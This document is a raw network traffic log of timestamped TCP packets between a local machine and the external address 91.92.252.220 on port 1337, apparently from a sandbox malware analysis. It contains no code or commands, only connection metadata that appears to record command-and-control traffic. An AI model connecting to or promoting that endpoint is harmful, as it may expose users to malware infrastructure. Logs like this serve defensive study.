Apr 24, 2024 03:01:04.434807062 CEST	1337	49700	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:04.480660915 CEST	49700	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:09.501708984 CEST	49700	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:09.800924063 CEST	1337	49700	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:09.801142931 CEST	49700	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:10.140012980 CEST	1337	49700	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:10.145689964 CEST	1337	49700	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:10.145749092 CEST	1337	49700	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:10.145762920 CEST	1337	49700	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:10.145817995 CEST	49700	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:10.145894051 CEST	1337	49700	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:10.145952940 CEST	49700	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:13.341387987 CEST	49700	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:13.341722012 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:13.697803974 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:13.697916031 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:13.699204922 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:13.708108902 CEST	1337	49700	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:13.708173037 CEST	49700	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.043557882 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.067449093 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.067545891 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.400181055 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.400206089 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.400264978 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.400404930 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.400454044 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.400479078 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.400479078 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.400516033 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.400531054 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.400552034 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.400563955 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.400619030 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.400624037 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.400665045 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.400753975 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.400810003 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.422391891 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.422488928 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.735147953 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.735172987 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.735187054 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.735228062 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.735291004 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.735322952 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.735336065 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.735395908 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.735466003 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.735505104 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.735519886 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.735562086 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.735630989 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.735697031 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.735785961 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.735845089 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:14.756274939 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:14.756375074 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.033807993 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.033976078 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.033974886 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.033992052 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.034054995 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.034082890 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.034231901 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.034315109 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.034373999 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.034456968 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.034533978 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.034615040 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.034687996 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.034763098 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.034802914 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.034857035 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.034940004 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.035023928 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.035038948 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.035082102 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.035336971 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.035407066 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.035412073 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.035494089 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.035592079 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.035651922 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.035684109 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.035723925 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.035732985 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.035792112 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.035893917 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.035949945 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.054670095 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.054761887 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.054773092 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.054853916 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.332632065 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.332715034 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.332730055 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.332803965 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.332978964 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.333128929 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.333261967 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.333344936 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.333580971 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.333658934 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.334026098 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.334104061 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.334695101 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.334729910 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.334762096 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.334801912 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.334831953 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.335000038 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.335061073 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.335074902 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.335144997 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.335149050 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.335211992 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.335405111 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.335462093 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.335520983 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.335585117 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.335680008 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.335747004 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.335756063 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.335827112 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.335871935 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.335938931 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.336029053 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.336121082 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.336167097 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.336342096 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.336441040 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.336476088 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.336514950 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.336533070 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.336590052 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.336648941 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.337044954 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.337112904 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.337117910 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.337153912 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.337186098 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.337193966 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.337244987 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.337264061 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.337333918 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.337337971 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.337400913 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.337496042 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.337555885 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.337649107 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.337717056 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.337764025 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.337898970 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.337901115 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.337965012 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.337974072 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.338032007 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.338166952 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.338226080 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.338280916 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.338397026 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.338424921 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.338452101 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.353312969 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.353380919 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.353423119 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.353501081 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.353528023 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.353647947 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.631309986 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.631366968 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.631417036 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.631445885 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.631454945 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.631567001 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.631623030 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.631777048 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.631783009 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.631836891 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.631978035 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.632045031 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.632096052 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.632168055 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.632278919 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.632356882 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.632441044 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.632505894 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.632675886 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.632708073 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.632754087 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.632771969 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.633007050 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.633078098 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.633243084 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.633331060 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.633364916 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.633460045 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.633651018 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.633686066 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.633708000 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.633738041 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.633975983 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.634008884 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.634054899 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.634069920 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.634284973 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.634444952 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.634517908 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.634560108 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.634634972 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.634721041 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.635474920 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.635509014 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.635580063 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.635626078 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.635675907 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.635828018 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.635970116 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.636044025 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.636094093 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.636158943 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.636394024 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.636456013 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.636785984 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.636820078 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.636854887 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.636869907 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.636934042 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.636997938 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.637168884 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.637224913 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.637368917 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.637403011 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.637435913 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.637455940 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.637598038 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.637721062 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.637834072 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.637895107 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.638027906 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.638087034 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.638142109 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.638209105 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.638498068 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.638562918 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.638573885 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.638632059 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.638729095 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.638999939 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.639009953 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.639033079 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.639095068 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.639147997 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.639204979 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.639353991 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.639417887 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.639591932 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.639652967 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.639789104 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.639898062 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.639971972 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.640029907 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.640075922 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.640146017 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.640311003 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.640518904 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.640588999 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.640872955 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.640924931 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.641006947 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.641068935 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.641093969 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.641155958 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.641287088 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.641350031 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.641689062 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.641746998 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.641746998 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.641992092 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.642045021 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.642126083 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.642189026 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.642384052 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.642456055 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.642496109 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.642564058 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.642761946 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.642852068 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.642946959 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.643002987 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.643194914 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.643244028 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.643332958 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.643388033 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.643568993 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.643676996 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.643707991 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.643933058 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.644001007 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.644129992 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.644153118 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.644207001 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.651932955 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.652015924 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.652028084 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.652079105 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.652093887 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.652127981 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.652187109 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.652244091 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.652467966 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.652544975 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.652627945 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.652792931 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.652818918 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.652842999 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.652875900 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.652935028 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.929949999 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.929986000 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.930049896 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.930048943 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.930083036 CEST	1337	49702	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:15.930085897 CEST	49702	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:15.930103064 CEST	49702	1337	192.168.2.7	91.92.252.220
